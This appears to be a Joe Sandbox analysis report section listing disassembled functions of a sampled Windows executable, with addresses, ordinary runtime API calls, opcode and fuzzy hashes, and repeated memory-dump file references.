Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: ce0a1e9b89da8c582d0725fbd11fd513ed84fd7ce4f909c8e640cca0bbf582de
Instruction ID: 431e4e23712633a8d182d781dd9e6a6b0a083e3d5aeb4d4543160aeaab55470d
Opcode Fuzzy Hash: ce0a1e9b89da8c582d0725fbd11fd513ed84fd7ce4f909c8e640cca0bbf582de
Instruction Fuzzy Hash: F451AEA2E182418AF710EFA2D440BBDB3E5AB4CB69F518174DE5D47689EF38D44187B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70B1CC Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7FA70B1DB

Part of subcall function 00007FF7FA70B39C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7FA70B3BE

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7FA70B1F0
__scrt_release_startup_lock.LIBCMT ref: 00007FF7FA70B25E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7FA70B2B1

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: bbd3b8ba5c4b27b365bd4a2e4f7617ab8f70cbce2ec9e80b5769bfa1af1ddc25
Instruction ID: 4139c3a044b9a007211495d8aea2f68b12aa1116fcba99171cf395c8ccfc9bb1
Opcode Fuzzy Hash: bbd3b8ba5c4b27b365bd4a2e4f7617ab8f70cbce2ec9e80b5769bfa1af1ddc25
Instruction Fuzzy Hash: 5D314720A0820345FB14BF64D862BB9E390DFD9744FD480B4E96E4B2D3DF2CA60482F5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7146B0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA7146DD
CreateFileW.KERNELBASE ref: 00007FF7FA71471C
CloseHandle.KERNEL32 ref: 00007FF7FA714751

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: ac9b60a2d89b0b0a1de2f8cf3a80ca4050063b0902c77aa6c040af4779bb7447
Instruction ID: e08fd274eeadf933ec147793a683f625f166d9a80347c1d87f685c02d6794acd
Opcode Fuzzy Hash: ac9b60a2d89b0b0a1de2f8cf3a80ca4050063b0902c77aa6c040af4779bb7447
Instruction Fuzzy Hash: 0E41A462E1878283F754AF229510779A3E0FB99774F508374EABC03AD1DF6CA5A18770

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70F3CC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA70F410
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA70F507

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bd665411d6c8cb657e02e9163d495b47fe1eb31481a6a537198dee777c004d3e
Instruction ID: 5d0ac8b31fd943a23b0990c5079f39bb759b840bfa7121a65311570f72c88c49
Opcode Fuzzy Hash: bd665411d6c8cb657e02e9163d495b47fe1eb31481a6a537198dee777c004d3e
Instruction Fuzzy Hash: 2751C661A0D6C246FB28AF259C00A7AA191BF48BB4F98C674ED7D477D5CF3CD44186B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70B0E0 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF7FA70B0F7
_RTC_Initialize.LIBCMT ref: 00007FF7FA70B118

Part of subcall function 00007FF7FA717E9C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA717ECE

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: 1e90ea8750eee40ec6509e71a0aeef04b9b8875fa73e4f4fdef0a793ea833389
Instruction ID: 4e661eacd4c2db058d216eae110201cdfe2b02b30dfb73e1592c48201fb7a5b4
Opcode Fuzzy Hash: 1e90ea8750eee40ec6509e71a0aeef04b9b8875fa73e4f4fdef0a793ea833389
Instruction Fuzzy Hash: 4B116C50E1820381FB147FB48866AB9D1989F9C314FC484F4E93E462D39E5CBA4546F2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71A058 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF7FA719ED5,?,?,00000000,00007FF7FA719F8A), ref: 00007FF7FA71A0C6
GetLastError.KERNEL32(?,?,?,00007FF7FA719ED5,?,?,00000000,00007FF7FA719F8A), ref: 00007FF7FA71A0D0

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 92f4f4d1d4744ab8e3e5075f9c3f1c4e1aa1a51ff1876d4144c1ee488cb6abae
Instruction ID: fc6936501015cf7f61c592fb3f9695dac22b4c6ad400ddf0dc999b5a6e1ba911
Opcode Fuzzy Hash: 92f4f4d1d4744ab8e3e5075f9c3f1c4e1aa1a51ff1876d4144c1ee488cb6abae
Instruction Fuzzy Hash: AA21A411F2864245FB507F619450B7D96D2AF4CBB0F8442BAEA3E473D5DE6CE44543B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71B634 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,00000000,00007FF7FA71B7CD), ref: 00007FF7FA71B680
GetLastError.KERNEL32(?,?,?,?,00000000,00007FF7FA71B7CD), ref: 00007FF7FA71B68A

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: c2ae5bf7dfd723bcaf49b473343ea681dff7813d4b8ca545b941fb3c7d872366
Instruction ID: 4068f62a7b8b0089e7426fdf3645e991703d1e327ffb57267199d7d2cb76de84
Opcode Fuzzy Hash: c2ae5bf7dfd723bcaf49b473343ea681dff7813d4b8ca545b941fb3c7d872366
Instruction Fuzzy Hash: 2911BF61B18A8181EB20AF25E414569A3A1AB99BF4FD45371EE7D0B7E9CE3CD01087A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7149AC Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FA7148C1), ref: 00007FF7FA7149DF
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FA7148C1), ref: 00007FF7FA7149F5

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 76a0f45c7603eb3144ff1d93a1bd9f2a60a94205705e5cf30b36b262cefc7e5d
Instruction ID: 561ab191e918ef9421265e118f6b258b77b235d1a1ad2ae6c213640a12e200f8
Opcode Fuzzy Hash: 76a0f45c7603eb3144ff1d93a1bd9f2a60a94205705e5cf30b36b262cefc7e5d
Instruction Fuzzy Hash: B91191B261C64281FB54AF15A44153BF7E0EB89771F900275E6AE819D8EF2CD054CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA719E48 Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7FA721E72,?,?,?,00007FF7FA721EAF,?,?,00000000,00007FF7FA722375,?,?,?,00007FF7FA7222A7), ref: 00007FF7FA719E5E
GetLastError.KERNEL32(?,?,?,00007FF7FA721E72,?,?,?,00007FF7FA721EAF,?,?,00000000,00007FF7FA722375,?,?,?,00007FF7FA7222A7), ref: 00007FF7FA719E68

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: 90a3e1b0ca63f129125972b75d02b7296718c6d583bf4673ea5362494b00de43
Instruction ID: f561cade29aecc2f5da8bdc3df3c54ca5da99027d755c5e63183ff4b3d36c3e8
Opcode Fuzzy Hash: 90a3e1b0ca63f129125972b75d02b7296718c6d583bf4673ea5362494b00de43
Instruction Fuzzy Hash: 38E04F91F1820242FF287FF29445C7592D09F8CB50BC410B4C92A422E2DE2CA44686F0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71B3AC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA71B3D4

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cd414821b6f546225101efcda0891026701ff68dd4107860c76c66003ece607e
Instruction ID: 648d04bc230ebc6a2ef4ceb85b87e6795e9e4a21396d251449d7d424339c12e6
Opcode Fuzzy Hash: cd414821b6f546225101efcda0891026701ff68dd4107860c76c66003ece607e
Instruction Fuzzy Hash: A141D932A1824187FB24EF19E540979B3E1EB99B64F905171DAAE836D1CF2CE402C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA707230 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7FA7072DA

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 448b618a6f14971fc34b3af3c7b01d533f62e3a59103612e088f8ce8a94b846c
Instruction ID: 8c7e204053c8c40f3033f67fe8dd56041667479d2708244b5202642b29401579
Opcode Fuzzy Hash: 448b618a6f14971fc34b3af3c7b01d533f62e3a59103612e088f8ce8a94b846c
Instruction Fuzzy Hash: 35218021B0969145FB24AF126804BBAE665BF49BD4FC894B0EE19177C2CF3CE04186B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71AE3C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA71AEC2

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ed84351809cde4536ca700848f8c62e7ec7fc76e9a5c5d8c324986761f842a2a
Instruction ID: b97c47948754bb035e9851506bc7d6abc5bd1b219f788765ac51e1e9d689b2f0
Opcode Fuzzy Hash: ed84351809cde4536ca700848f8c62e7ec7fc76e9a5c5d8c324986761f842a2a
Instruction Fuzzy Hash: 21318261A2864285FB11BF558441B79A6D0AF48BB0F8102B6ED7D473D2CF7CE44587B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7154F8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA71545D

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction ID: c1e083ed314e0ae8de9d7b5822a5b71747fc1744ec0828c93bd0685482141686
Opcode Fuzzy Hash: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction Fuzzy Hash: B4119F61B1C64181FB24BF519400A79E2E4BF89BA1F844472EE9D57AE6CF3CD50087B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA72578C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA7257AF

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
